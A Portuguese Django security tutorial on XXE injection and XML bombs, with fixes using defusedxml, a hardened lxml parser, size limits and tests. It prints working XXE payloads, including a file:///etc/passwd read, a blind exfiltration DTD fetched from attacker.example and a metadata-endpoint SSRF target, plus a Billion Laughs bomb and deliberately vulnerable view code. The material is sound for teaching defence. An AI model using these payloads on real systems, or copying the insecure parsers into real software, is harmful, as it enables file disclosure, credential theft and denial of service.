XXE e Bombas XML: Por Que Você Deve Pensar Duas Vezes Antes de Analisar XML em Python
Django Security Series — Post 5 | Série I: Ataques de Injeção
OWASP A05:2021 — Security Misconfiguration (CWE-611 / CWE-776) | Tempo de leitura: ~15 min
Os quatro primeiros posts desta série percorreram a mesma causa raiz — confundir dado com código — através de quatro interpretadores diferentes. O Post 1 a levou ao banco de dados SQL, o Post 2 ao parser HTML do navegador, o Post 3 ao motor de templates, e o Post 4 ao shell do sistema operacional. O Post 5 fecha a Série I no último interpretador da lista, e naquele que desenvolvedores Django mais frequentemente esquecem que é um interpretador: o parser de XML.
Este post me surpreendeu de uma forma específica. Quando rodei as regras B313–B320 do Bandit (parsing inseguro de XML) contra o Petição Brasil, esperava zero achados — a plataforma usa APIs JSON e não aceita uploads XML. O que não tinha considerado é que superfícies XML costumam ser indiretas: o WeasyPrint, que gera os certificados PDF de cadeia de custódia da plataforma, usa lxml internamente para analisar os templates HTML antes de renderizá-los em PDF. É um parser XML rodando em conteúdo que eu controlo (arquivos de template), não em entrada não confiável — mas me forçou a pensar sobre onde a fronteira do parser realmente fica na minha cadeia de dependências.
Analisar XML parece passivo — você entrega um documento a uma biblioteca e recebe de volta uma árvore de elementos — mas um parser XML conforme a especificação é um pequeno ambiente de programação, e o recurso de resolução de entidades dele vai alegremente ler arquivos, abrir conexões de rede e alocar gigabytes de memória seguindo as instruções embutidas no documento que está analisando.
Este post cobre dois ataques que compartilham um único habilitador: um parser XML deixado em suas configurações inseguras padrão. O primeiro é o XXE — injeção de Entidade Externa de XML (XML External Entity) — em que um documento malicioso declara uma entidade externa que faz o servidor ler um arquivo local (file:///etc/passwd), alcançar um serviço interno, ou atingir o endpoint de metadados da nuvem e devolver credenciais IAM. O segundo é a bomba XML, da qual o Billion Laughs é o arquétipo — um punhado de entidades recursivas aninhadas que expandem um documento de um kilobyte em gigabytes na memória, derrubando o processo. Ambos disparam no momento em que XML não confiável encontra um parser que resolve entidades ou expande a DTD interna (Document Type Definition).
A razão pela qual essa superfície de ataque persiste em aplicações Django é que o XML nunca realmente foi embora. O JSON domina as APIs REST modernas, mas o XML está por baixo de uma quantidade surpreendente do que uma aplicação web ainda ingere: integrações SOAP com gateways de pagamento e parceiros corporativos, leitores de feeds RSS e Atom, webhooks de parceiros e — o menos óbvio de todos — os formatos de escritório e imagem que os usuários enviam todos os dias. Um .docx, .xlsx ou .pptx é um arquivo ZIP cheio de XML; um .svg é XML; muitas cadeias de ferramentas de .pdf tocam em XML. Cada um deles é um documento que seu código pode entregar a um parser, e cada parser é uma decisão sobre confiar ou não no que o documento manda ele fazer.
Há uma armadilha específica de Django-e-Python no centro deste post, e é a mesma forma de "você achou que estava coberto" que tornou o SSTI (Post 3) tão perigoso: as bibliotecas XML do Python não são seguras por padrão. Desenvolvedores recorrem à biblioteca padrão — xml.etree.ElementTree, xml.dom.minidom, xml.sax — presumem que "biblioteca padrão significa segura" e nunca aprendem que a própria documentação oficial do Python avisa, em negrito, que esses módulos "não são seguros contra dados maliciosamente construídos". O parser rápido de terceiros que a maioria dos projetos Django de fato usa, o lxml, apertou seus padrões ao longo dos anos (o libxml2 2.9+ não resolve mais entidades externas e adicionou uma guarda de amplificação), mas sua documentação ainda recomenda não analisar entrada não confiável sem blindagem explícita — e versões antigas, parsers mal configurados e casos de borda permanecem uma ameaça real. A correção — o defusedxml — existe precisamente porque depender de padrões implícitos é frágil, e quase ninguém o instala antes de um incidente.
Uma nota sobre a classificação OWASP: este post está na Série I (Ataques de Injeção) porque sua causa raiz — dados não confiáveis interpretados como instruções pelo parser XML — é a mesma confusão "dado vs. código" que impulsiona SQL injection, XSS, SSTI e injeção de comandos. A taxonomia OWASP Top 10:2021, no entanto, classifica XXE sob A05 Security Misconfiguration (absorvendo a antiga A4:2017-XXE), raciocinando que a correção é uma decisão de configuração de parser e não sanitização de entrada. Ambos os enquadramentos estão corretos: o mecanismo do ataque tem formato de injeção, mas a defesa tem formato de configuração. Este post usa tanto CWE-611 (Improper Restriction of XML External Entity Reference) quanto CWE-776 (Improper Restriction of Recursive Entity References) como seus identificadores canônicos de fraqueza.
Neste post veremos como as entidades XML funcionam no nível do parser, como o mesmo recurso produz tanto divulgação de arquivos quanto uma bomba de negação de serviço, exatamente onde uma aplicação Django é alcançável por essa superfície, e como tornar segura cada análise de XML no seu projeto com uma troca de biblioteca de uma linha mais um pequeno conjunto de regras de blindagem.
O Ataque: O Que É e Como Funciona
XML é mais do que um formato de dados — a especificação inclui uma Definição de Tipo de Documento (DTD), uma pequena gramática que um documento pode carregar embutida (o subconjunto interno) ou referenciar externamente. A DTD permite que um documento declare entidades. Uma entidade é o mecanismo de substituição embutido do XML — pense nela como um espaço reservado nomeado, muito parecido com uma constante ou uma macro: você a define uma vez e, onde quer que o parser depois veja uma referência &nome;, ele troca essa referência pelo valor da entidade antes de te entregar a árvore analisada. As entidades existem por duas razões perfeitamente legítimas. A primeira é o escape — inserir caracteres que de outra forma quebrariam a marcação: você escreve < para que o parser leia um < literal como texto, e não como o início de uma tag. A segunda é o reuso — definir uma string boilerplate uma vez (o nome de uma empresa, um aviso legal, uma URL repetida) e referenciá-la muitas vezes, de modo que uma única edição atualize todas. Você já conhece a variedade de escape — <, >, &, ', " são as cinco entidades XML predefinidas, que representam <, >, &, ' e ". O perigo é que um documento pode definir suas próprias entidades, e essas definições podem apontar para fora do documento.
Existem três tipos de entidade personalizada, e a história de segurança vive na segunda e na terceira:
- Entidade interna — uma substituição de string literal:
<!ENTITY empresa "ACME Corp">. Inofensiva por si só, mas o motor por trás do Billion Laughs. - Entidade geral externa — uma substituição cujo valor é buscado a partir de uma URI:
<!ENTITY xxe SYSTEM "file:///etc/passwd">. Quando o parser resolve&xxe;, ele lê essa URI e insere o resultado. Este é o coração do XXE. - Entidade de parâmetro externa — a mesma ideia, referenciada com
%nome;dentro da própria DTD, usada para construir cadeias de exfiltração cega/fora de banda que funcionam mesmo quando a resposta nunca ecoa os dados analisados.
O XXE clássico — lendo um arquivo local
Um parser que resolve entidades externas trata este documento como uma instrução para ler /etc/passwd e colocar seu conteúdo onde &xxe; aparece:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
Se a aplicação analisa isso e reflete o valor resultante de <data> em qualquer lugar — uma mensagem de erro, uma página de confirmação, um registro armazenado que o atacante pode ler de volta — o conteúdo de /etc/passwd vem junto. O mesmo identificador SYSTEM aceita outros esquemas, e é isso que transforma uma leitura de arquivo em algo muito pior:
| Alvo do payload | O que o parser faz | Impacto |
|---|---|---|
file:///etc/passwd |
Lê um arquivo local, insere seu conteúdo | Divulgação de arquivo local — código-fonte, settings.py, SECRET_KEY |
http://169.254.169.254/latest/meta-data/ |
Faz uma requisição HTTP ao endpoint de metadados da nuvem | SSRF → roubo de credenciais IAM na AWS/GCP/Azure |
http://servico-interno:8080/ |
Alcança um serviço visível apenas de dentro da rede | SSRF → reconhecimento interno e movimentação lateral |
expect://id / php:// (stacks PHP) |
Invoca um stream wrapper | Execução de comandos em configurações vulneráveis |
A variante http:// é a que escala de "vazamento irritante de arquivo" para "brecha que encerra a empresa": o parser vira um proxy que o atacante dirige, e o endpoint de metadados da nuvem em 169.254.169.254 vai, em uma instância mal configurada, retornar as credenciais temporárias do papel IAM do servidor. Este é o mesmo mecanismo de SSRF abordado em profundidade em um post futuro desta série — o XXE é simplesmente uma das formas de disparar isso.
XXE cego / fora de banda
Quando a aplicação analisa o XML mas nunca retorna o resultado ao atacante — comum em manipuladores de upload e webhooks — a reflexão clássica de &xxe; não funciona. Os atacantes resolvem isso com entidades de parâmetro e uma DTD externa hospedada pelo atacante que exfiltra o conteúdo do arquivo através de uma URL:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "http://attacker.example/evil.dtd">
%dtd;
]>
<data>probe</data>
A evil.dtd externa define uma entidade adicional que anexa %file; a uma URL de volta ao servidor do atacante, de modo que o conteúdo do arquivo deixa a rede como parte de uma requisição que o atacante observa em seus próprios logs — sem exigir reflexão. Este é o análogo XML das técnicas cegas/fora de banda vistas no SQL Injection cego (Post 1) e na injeção de comandos cega (Post 4).
A bomba XML — Billion Laughs
O segundo ataque usa apenas entidades internas, então não precisa de nenhum acesso externo — é pura exaustão de CPU e memória. Cada entidade é definida em termos daquela abaixo dela, dez referências por vez:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
A expansão é multiplicativa, e esse é todo o truque. Leia de baixo para cima: lol é a string literal "lol"; &lol1; são dez lols; &lol2; são dez &lol1;s — cem lols; &lol3; são dez &lol2;s — mil; e cada nível acima multiplica o total corrente por mais dez. Então, quando o parser chega ao único &lol9; no corpo do documento, ele precisa construir dez &lol8;, cada um dos quais é dez &lol7;, e assim por diante até a string literal — 10^9 (um bilhão) de cópias de "lol", cerca de 3 GB de texto, a partir de um documento de origem com bem menos de um kilobyte na rede. Essa assimetria — um documento minúsculo, uma expansão gigante na memória — é todo o ataque. O parser aloca obedientemente cada byte e o processo trabalhador é morto pelo coletor out-of-memory do SO, derrubando junto as requisições concorrentes. Uma variante, o quadratic blowup (explosão quadrática), usa uma única entidade grande referenciada milhares de vezes para atingir o mesmo efeito enquanto escapa de verificações ingênuas de profundidade de aninhamento. Este é um ataque de negação de serviço — a mesma classe de exaustão de recursos na camada de aplicação abordada em um post futuro desta série — entregue através do parser XML.
Como os Atacantes Exploram
O ponto de entrada realista no Django é qualquer endpoint ou tarefa que aceite XML controlado pelo atacante. Considere uma aplicação que ingere o feed de produtos de um parceiro:
# INSEGURO — analisa um feed XML enviado com lxml em suas configurações padrão
from lxml import etree
from django.http import HttpResponse
def import_feed(request):
xml_bytes = request.FILES['feed'].read()
root = etree.fromstring(xml_bytes) # sem blindagem explícita — comportamento depende da versão do libxml2
name = root.findtext('.//productName')
return HttpResponse(f"Imported: {name}")
No lxml moderno (libxml2 ≥ 2.9) este trecho específico pode não resolver a entidade externa por padrão — mas o código não tem nenhuma blindagem explícita, o que significa que sua segurança é um acidente da versão da biblioteca, não uma decisão deliberada de segurança. Em uma versão mais antiga, uma imagem de SO diferente, ou com uma instanciação de parser levemente diferente, o mesmo código resolve a entidade e devolve /etc/passwd. O padrão seguro é sempre blindar explicitamente em vez de confiar em padrões implícitos.
Os mapeamentos MITRE ATT&CK relevantes são T1190 — Exploit Public-Facing Application para o acesso inicial; T1552.005 — Unsecured Credentials: Cloud Instance Metadata API para a escalada de SSRF ao endpoint de metadados; e T1499 — Endpoint Denial of Service para a variante Billion Laughs / bomba XML. O que torna o XXE perigoso é exatamente o que o torna fácil de passar despercebido em revisão: a linha vulnerável é uma chamada parse() rotineira que parece manipulação passiva de dados, não um sink óbvio como subprocess ou cursor.execute.
Incidentes Reais
Facebook XXE — Reginaldo Silva (2014)
No final de 2013 o pesquisador de segurança brasileiro Reginaldo Silva relatou uma vulnerabilidade de Entidade Externa de XML no endpoint consumidor de OpenID do Facebook (a divulgação pública seguiu em janeiro de 2014). O Facebook aceitava uma requisição de login OpenID, buscava e analisava um documento XML do provedor de identidade, e o fazia com um parser que resolvia entidades externas — de modo que Silva podia fazer os servidores do Facebook lerem arquivos locais e, criticamente, fazerem requisições de saída de dentro da rede do Facebook. Ele havia encontrado anteriormente a mesma classe de bug na infraestrutura do Google, e reconheceu que o XXE poderia ser encadeado em execução remota de código completa através dos serviços internos que ele agora podia alcançar. O Facebook lhe concedeu US$ 33.500 — o maior pagamento individual que seu programa de bug bounty já havia feito até então — precisamente porque um XXE que consegue pivotar para serviços internos e o sistema de arquivos não é um bug de "ler um arquivo", mas uma posição dentro do perímetro.
A lição para desenvolvedores Django é o fio condutor de todo este post: o código vulnerável não estava fazendo nada exótico — estava analisando um documento XML recebido de uma parte externa, a operação de XML mais comum que existe. O acesso inicial mapeia para MITRE ATT&CK T1190 (Exploit Public-Facing Application), e o caminho de escalada — usar o parser como um proxy de SSRF para alcançar serviços internos — é exatamente por que o XXE é classificado tão acima de uma simples falha de divulgação de informação. Uma troca de uma linha para um parser que recusa DTDs e entidades externas teria fechado toda a cadeia na origem.
Source: Reginaldo Silva — Remote Code Execution via XXE in Facebook
Proteções Padrão do Django
O título honesto é o mesmo do Post 4: o Django não analisa XML arbitrário para você, e não fornece nenhuma proteção automática quando o seu código o faz. Um projeto Django ou Django REST Framework padrão trata requisições como dados form-encoded ou JSON — não há parser XML no caminho de requisição padrão, então uma aplicação Django comum não tem superfície de XXE até um desenvolvedor deliberadamente adicionar análise de XML. Isso é genuinamente protetivo por omissão, e vale a pena declarar claramente: se você nunca analisa XML não confiável, não pode ser atingido por XXE.
Duas nuances completam o quadro. Primeiro, o próprio framework de serialização XML do Django — o código por trás das fixtures loaddata/dumpdata — foi blindado anos atrás para defender contra ataques de expansão de entidades, então carregar uma fixture não é uma preocupação. Mas esse caminho lida com suas próprias fixtures confiáveis, não com entrada do usuário, e não diz nada sobre o parser que você escolhe quando você analisa um corpo de requisição. Segundo, e esta é a parte que pega as pessoas: a proteção ou a exposição vive inteiramente na biblioteca Python que você escolhe, e o Django não tem voz nisso.
lxml— o parser rápido baseado em C, popular, que a maioria dos projetos Django instala para trabalho real com XML. Olxmlmoderno (suportado pelo libxml2 ≥ 2.9, distribuído desde 2012) não resolve mais entidades externas por padrão e inclui uma guarda de amplificação de entidades que bloqueia a bomba Billion Laughs clássica. Esta é uma melhoria significativa em relação à sua reputação histórica. No entanto: (a) se seu código explicitamente passaresolve_entities=True, ou cria um parser sem flags de blindagem, o XXE completo de leitura de arquivo volta; (b) olxmlainda resolve entidades internas (que é como a substituição legítima funciona), então documentos especialmente criados abaixo do limiar de amplificação ainda podem causar abuso de recursos; (c) o limite de amplificação é uma rede de segurança, não uma garantia — variantes de quadratic blowup podem escapar por baixo; e (d) versões mais antigas do libxml2 (ainda comuns em containers legados) resolvem entidades externas por padrão. A postura segura é não confiar nesses padrões implícitos, mas blindar o parser explicitamente (resolve_entities=False,no_network=True,load_dtd=False) ou usar odefusedxml.xml.etree.ElementTree,xml.dom.minidom,xml.sax— a biblioteca padrão — são, nas palavras da documentação oficial do Python, "não seguros contra dados maliciosamente construídos". O backend expat do CPython moderno não busca mais entidades externas por padrão, o que atenua a variante de leitura de arquivo, mas cada um desses parsers ainda é vulnerável à negação de serviço Billion Laughs / quadratic blowup, e a recomendação da própria documentação é instalar odefusedxml.
A conclusão espelha a injeção de comandos: no momento em que seu código chama etree.fromstring, minidom.parse, ou uma biblioteca SOAP/de feed, você saiu de qualquer coisa que o Django possa proteger, e a segurança dessa análise é inteiramente sua responsabilidade.
Padrão Vulnerável: O Que NÃO Fazer
Padrão 1 — Analisar um corpo de requisição com lxml nas configurações padrão
# INSEGURO — lxml com resolve_entities=True → leitura de arquivo por XXE clássico
# Mesmo sem essa flag, confiar em padrões não documentados é frágil;
# sempre blinde explicitamente ou use o defusedxml.
from lxml import etree
from django.views.decorators.csrf import csrf_exempt
from django.http import JsonResponse
_UNSAFE_PARSER = etree.XMLParser(resolve_entities=True) # explicitamente perigoso
@csrf_exempt
def webhook(request):
root = etree.fromstring(request.body, parser=_UNSAFE_PARSER)
order_id = root.findtext('.//orderId')
return JsonResponse({"received": order_id})
Payload de ataque — um corpo POST declarando <!ENTITY xxe SYSTEM "file:///etc/passwd"> e colocando &xxe; dentro de <orderId> faz o lxml inserir o arquivo de senhas em order_id. Aponte a entidade para http://169.254.169.254/… e o mesmo manipulador exfiltra credenciais de nuvem.
Padrão 2 — Analisar um arquivo enviado com a biblioteca padrão
# INSEGURO — um SVG/XML enviado é uma bomba Billion Laughs esperando para detonar
import xml.etree.ElementTree as ET
from django.http import HttpResponse
def upload_diagram(request):
svg = request.FILES['diagram']
tree = ET.parse(svg) # vulnerável à DoS por expansão de entidades
title = tree.findtext('.//{http://www.w3.org/2000/svg}title')
return HttpResponse(f"Uploaded: {title}")
Payload de ataque — um SVG com menos de um kilobyte carregando as entidades aninhadas lol1…lol9 expande para gigabytes durante o ET.parse, e o trabalhador é morto pelo coletor out-of-memory do SO. Como um SVG é "só uma imagem", esse endpoint raramente recebe o escrutínio que um endpoint óbvio de importação de dados receberia.
Padrão 3 — Uma integração SOAP / de feed que confia no documento remoto
# INSEGURO — uma resposta SOAP de um parceiro analisada sem blindagem
from lxml import etree
import requests
def fetch_partner_status(order_ref):
resp = requests.post("https://partner.example/soap", data=build_envelope(order_ref))
doc = etree.fromstring(resp.content) # XML remoto, entidades resolvidas
return doc.findtext('.//status')
O erro é presumir que a resposta de um "parceiro confiável" é segura para analisar de forma frouxa. Um upstream comprometido ou malicioso — ou um machine-in-the-middle numa etapa não autenticada — retorna um documento cujas entidades leem os arquivos do seu servidor ou bombardeiam sua memória. Confiança no remetente não é confiança nos bytes; o parser deve ser blindado independentemente da origem.
Implementação Segura: O Jeito Django
Regra 1 — Substitua todo parser XML pelo defusedxml
Este é o controle mais importante, e é praticamente uma substituição direta. O defusedxml é uma biblioteca pequena e bem mantida que espelha os módulos XML do Python um a um — defusedxml.ElementTree, defusedxml.minidom, defusedxml.sax, mais um shim para o lxml — expondo as mesmas funções, com as mesmas assinaturas que você já chama. O que muda é o que esses invólucros fazem antes de analisar: eles proíbem resolução de entidades e carregamento de recursos externos por padrão (forbid_entities=True, forbid_external=True), enquanto permitem um DOCTYPE simples que declara apenas estrutura de elementos. Assim, quando um documento hostil declara uma entidade personalizada ou referencia um recurso externo, o parser nunca lê um arquivo, busca uma URL ou incha na memória — ele para na hora e lança EntitiesForbidden (para qualquer declaração de entidade) ou ExternalReferenceForbidden (para uma referência SYSTEM/PUBLIC). Você pode adicionalmente optar por forbid_dtd=True para rejeitar qualquer DOCTYPE, o que lança DTDForbidden. Documentos legítimos sem entidades são analisados exatamente como antes; os maliciosos falham de forma barulhenta em vez de executar silenciosamente.
# SEGURO — defusedxml recusa DTDs e entidades; a API é, no mais, idêntica
import defusedxml.ElementTree as ET
from django.http import HttpResponse
from defusedxml.common import EntitiesForbidden, DTDForbidden
def upload_diagram(request):
try:
tree = ET.parse(request.FILES['diagram'])
except (EntitiesForbidden, DTDForbidden):
return HttpResponse("Rejeitado: entidades XML não são permitidas", status=400)
title = tree.findtext('.//{http://www.w3.org/2000/svg}title')
return HttpResponse(f"Uploaded: {title}")
pip install defusedxml, depois troque import xml.etree.ElementTree as ET por import defusedxml.ElementTree as ET (e from defusedxml.lxml import fromstring no lugar de lxml.etree.fromstring). Tanto um documento Billion Laughs quanto um payload de entidade externa file:// agora lançam EntitiesForbidden em vez de executar.
Regra 2 — Se você precisar usar o lxml diretamente, blinde o parser explicitamente
Algumas bibliotecas exigem um objeto parser lxml real. Quando o shim do defusedxml não for uma opção, construa o parser com a resolução de entidades, o carregamento de DTD e o acesso à rede todos desligados, e rejeite qualquer DOCTYPE de imediato:
# SEGURO — um parser lxml travado: sem entidades, sem DTD, sem rede
from lxml import etree
_SAFE_PARSER = etree.XMLParser(
resolve_entities=False, # não expandir referências &entidade;
no_network=True, # bloquear identificadores SYSTEM http(s) (SSRF)
load_dtd=False, # não processar a DTD
dtd_validation=False,
huge_tree=False, # manter os limites internos de expansão/tamanho
)
def parse_partner_xml(raw_bytes):
root = etree.fromstring(raw_bytes, parser=_SAFE_PARSER)
# Defesa em profundidade: rejeitar qualquer documento que trouxe um DOCTYPE.
if root.getroottree().docinfo.doctype:
raise ValueError("DTD não permitida")
return root
resolve_entities=False neutraliza tanto o vetor de leitura de arquivo quanto o Billion Laughs, no_network=True fecha a escalada de SSRF ao endpoint de metadados, e deixar huge_tree=False (o padrão) mantém em vigor a proteção interna do lxml contra expansão excessiva.
Regra 3 — Limite o tamanho de tudo o que você analisa
Expansão de entidades e documentos excessivamente grandes são ataques de exaustão de recursos, então limite a entrada antes e durante a análise. Para corpos de requisição (dados POST não-arquivo), o DATA_UPLOAD_MAX_MEMORY_SIZE do Django rejeita payloads acima do limite antes que sua view rode. Mas atenção: essa configuração exclui dados de upload de arquivo (request.FILES) por design — arquivos enviados que excedem FILE_UPLOAD_MAX_MEMORY_SIZE são simplesmente despejados num arquivo temporário em disco em vez de rejeitados. Portanto, para caminhos de upload de arquivo (Padrões 2 e 3 acima), DATA_UPLOAD_MAX_MEMORY_SIZE não é uma rede de segurança. A defesa real contra uma bomba SVG chegando via upload é a guarda de entidades do defusedxml (Regra 1) — o parser rejeita o documento antes de tentar expandir. Como defesa-em-profundidade adicional, imponha um limite de tamanho explícito no próprio upload — seja na validação do form/serializer, no max_length do FileField, ou via diretiva do servidor web (ex. Nginx client_max_body_size).
# settings.py — estes cobrem corpos POST não-arquivo; ajuste aos seus payloads reais
DATA_UPLOAD_MAX_MEMORY_SIZE = 2 * 1024 * 1024 # teto de 2 MB para corpos POST (excl. arquivos)
DATA_UPLOAD_MAX_NUMBER_FIELDS = 1000 # conter floods por contagem de campos multipart
Para endpoints de upload especificamente, adicione uma verificação de tamanho antes de analisar:
MAX_XML_UPLOAD_BYTES = 5 * 1024 * 1024 # 5 MB — ajuste aos seus payloads reais
def upload_diagram(request):
f = request.FILES['diagram']
if f.size > MAX_XML_UPLOAD_BYTES:
return HttpResponse("Arquivo muito grande", status=413)
# ... analisar com defusedxml ...
Regra 4 — Prefira JSON, e trate XML como uma exceção deliberada
A correção mais durável é arquitetural: se você controla as duas pontas do contrato, use JSON, que não tem entidades, nem DTD, nem recurso de referência externa a abusar. Reserve a análise de XML para os casos que você genuinamente não pode evitar — SOAP de entrada, feeds de parceiros em formato fixo, uploads de escritório/SVG — e faça de cada um deles uma decisão consciente e blindada usando as Regras 1–3, em vez de um reflexivo etree.fromstring.
A regra invariável: nunca analise XML não confiável com um parser padrão. Roteie toda análise de XML através do defusedxml (ou de um parser lxml explicitamente blindado), e limite o tamanho da entrada — sem exceções para parceiros "confiáveis" ou uploads que são "só uma imagem".
Checklist de Prevenção de XXE
| Controle | O que cobre |
|---|---|
defusedxml no lugar de todo parser padrão |
O principal vetor de XXE e bomba XML — DTDs e resolução de entidades são recusadas, lançando DTDForbidden/EntitiesForbidden |
Parser lxml blindado (resolve_entities=False, no_network=True, load_dtd=False) |
XXE onde um objeto lxml real é exigido — leitura de arquivo, expansão de entidades e SSRF-para-metadados todos fechados |
| Rejeitar documentos que carregam um DOCTYPE | Defesa em profundidade — recusa a DTD da qual um payload XXE depende antes que qualquer entidade seja processada |
DATA_UPLOAD_MAX_MEMORY_SIZE + verificações explícitas de tamanho de upload |
A DoS por documento excessivamente grande — limita corpos POST não-arquivo; uma verificação explícita de tamanho em request.FILES rejeita uploads excessivos antes da análise |
| Preferir JSON onde você controla o contrato | Remove a superfície de ataque inteiramente — sem entidades, sem DTD, nada a resolver |
bandit no CI (sinaliza uso de xml.etree/lxml, recomenda defusedxml) |
Impede que um novo ponto de chamada de parser inseguro chegue à produção |
Testando Sua Defesa
Testes Unitários
# blog/tests.py
from django.test import TestCase
XXE_FILE_READ = b"""<?xml version="1.0"?>
<!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>&xxe;</data>"""
# Um payload pequeno de expansão de entidades — não é um Billion Laughs completo (que exigiria
# lol1…lol9), mas suficiente para provar que o defusedxml rejeita declarações de entidades.
ENTITY_EXPANSION = b"""<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<lolz>&lol2;</lolz>"""
class XXETests(TestCase):
def test_external_entity_is_not_resolved(self):
"""Uma entidade file:// nunca deve aparecer na resposta — o parser
deve recusar a DTD em vez de inserir /etc/passwd."""
response = self.client.post(
'/webhook/', data=XXE_FILE_READ, content_type='application/xml'
)
self.assertNotIn(b'root:', response.content) # sem conteúdo do passwd
self.assertEqual(response.status_code, 400) # rejeitado, não processado
def test_entity_expansion_is_rejected(self):
"""Um documento de expansão de entidades deve ser rejeitado, não expandido — a
requisição deve retornar rápido e nunca alocar a expansão."""
response = self.client.post(
'/webhook/', data=ENTITY_EXPANSION, content_type='application/xml'
)
self.assertEqual(response.status_code, 400)
Verificação Manual
# Sonda de leitura de arquivo — a resposta NÃO deve conter conteúdo de /etc/passwd.
curl -X POST https://staging.example.com/webhook/ \
-H "Content-Type: application/xml" \
--data-binary @xxe-file-read.xml
# Sonda de bomba — a requisição deve falhar rápido (400/rejeição), não travar ou disparar a memória.
time curl -X POST https://staging.example.com/webhook/ \
-H "Content-Type: application/xml" \
--data-binary @billion-laughs.xml
Análise Estática no CI
O Bandit sinaliza o uso dos parsers XML inseguros da biblioteca padrão (regras B313–B320) e recomenda o defusedxml. Adicione-o ao pipeline para que nenhuma nova análise não blindada possa ser mesclada:
pip install bandit defusedxml
# Sinaliza análise com xml.etree / minidom / sax / lxml sem defusedxml
bandit -r blog/ blogtech/
# Um grep rápido é um bom backstop de pré-commit
grep -rn "etree.fromstring\|minidom.parse\|xml.sax\|lxml" blog/ blogtech/
O Que Encontrei nos Meus Projetos
Rodei as regras XML do Bandit (B313–B320) contra o Petição Brasil:
$ bandit -t B313,B314,B315,B316,B317,B318,B319,B320 -r apps/ config/ -x "*/migrations/*,*/tests/*"
[main] INFO running on Python 3.13.3
Run started:2026-05-20 11:03:44.291822+00:00
Test results:
No issues identified.
Code scanned:
Total lines of code: 13,736
Files skipped (0):
Zero achados — o código da aplicação nunca chama xml.etree, minidom, xml.sax ou lxml.etree diretamente. A plataforma não processa uploads de XML, SVG ou documentos Office enviados pelo usuário, e não tem endpoints de API que aceitem payloads XML — é uma aplicação Django tradicional com views HTML apenas.
Mas a história não termina aí. Enquanto investigava para este post, descobri uma superfície XML indireta que não tinha considerado. O Petição Brasil usa pikepdf para verificar conformidade PDF/A em documentos de petição enviados pelos usuários. A chamada open_metadata() em pdf_utils.py usa internamente o lxml para analisar metadados XMP embutidos nesses PDFs:
# apps/core/pdf_utils.py — pikepdf usa lxml internamente para parsing de XMP
import pikepdf
pdf = pikepdf.Pdf.open(io.BytesIO(pdf_bytes))
with pdf.open_metadata() as meta:
part = meta.get("pdfaid:part")
conformance = meta.get("pdfaid:conformance")
Metadados XMP são XML. Um PDF maliciosamente criado poderia embutir um payload XXE no seu bloco XMP — e o parser lxml interno do pikepdf o processaria. No entanto, o pikepdf lida com isso usando parsing controlado e o comportamento padrão do lxml (que desde a versão 4.6+ resolve entidades de rede mas não resolve entidades de arquivo local por padrão). O risco é baixo-moderado, mas o ponto permanece: tenho uma superfície de ataque XML que nunca criei escrevendo uma única linha de código XML.
O sitemap do Django (/sitemap.xml) é o outro ponto de contato com XML — mas é apenas saída (Django gera XML a partir de dados confiáveis), não parsing de entrada não confiável, então não é um vetor de XXE.
A lição: audite sua cadeia de dependências em busca de parsers XML, não apenas seu próprio código. pip show lxml diz que está instalado; o que importa é o que o alimenta.
O Post 5 fecha a Série I. Ao longo de cinco posts a lição nunca mudou — um interpretador não consegue distinguir sua intenção da entrada de um atacante a menos que você mantenha dado e código em canais separados — mas os interpretadores mudaram: o motor SQL, o navegador, o motor de templates, o shell do SO, e agora o parser XML. O hábito que estou levando adiante: tratar um etree.fromstring em dados de requisição da mesma forma que cursor.execute(raw_sql) — rotear toda análise de XML não confiável através do defusedxml e limitar o tamanho da entrada.
A Série II abre a próxima frente: Broken Access Control (Controle de Acesso Quebrado). O Post 6 começa com IDOR — Insecure Direct Object Reference (Referência Direta Insegura a Objeto) — em que a aplicação autentica quem você é perfeitamente mas nunca verifica o que você tem permissão de tocar, e um único ID incrementado em uma URL entrega a um usuário os dados de outro. A injeção era sobre dados cruzando para código; o controle de acesso é sobre identidade cruzando uma fronteira que ela nunca foi autorizada a cruzar.
Leitura Complementar
- Python Docs — XML vulnerabilities and the defusedxml recommendation
- defusedxml — XML bomb protection for Python stdlib modules
- Django Docs — Security in Django
- PortSwigger Web Security Academy — XML external entity (XXE) injection
- OWASP — XML External Entity (XXE) Processing
- OWASP — XXE Prevention Cheat Sheet
- MITRE ATT&CK — T1190 Exploit Public-Facing Application
- OWASP A05:2021 — Security Misconfiguration (includes XXE)
- Web Security for Developers: Real Threats, Practical Defense (Malcolm McDonald, No Starch Press) — Capítulo 15: XML Vulnerabilities
Next in this series → Post 6: Broken Access Control e IDOR: Quando Estar Logado Não É o Mesmo que Ter Permissão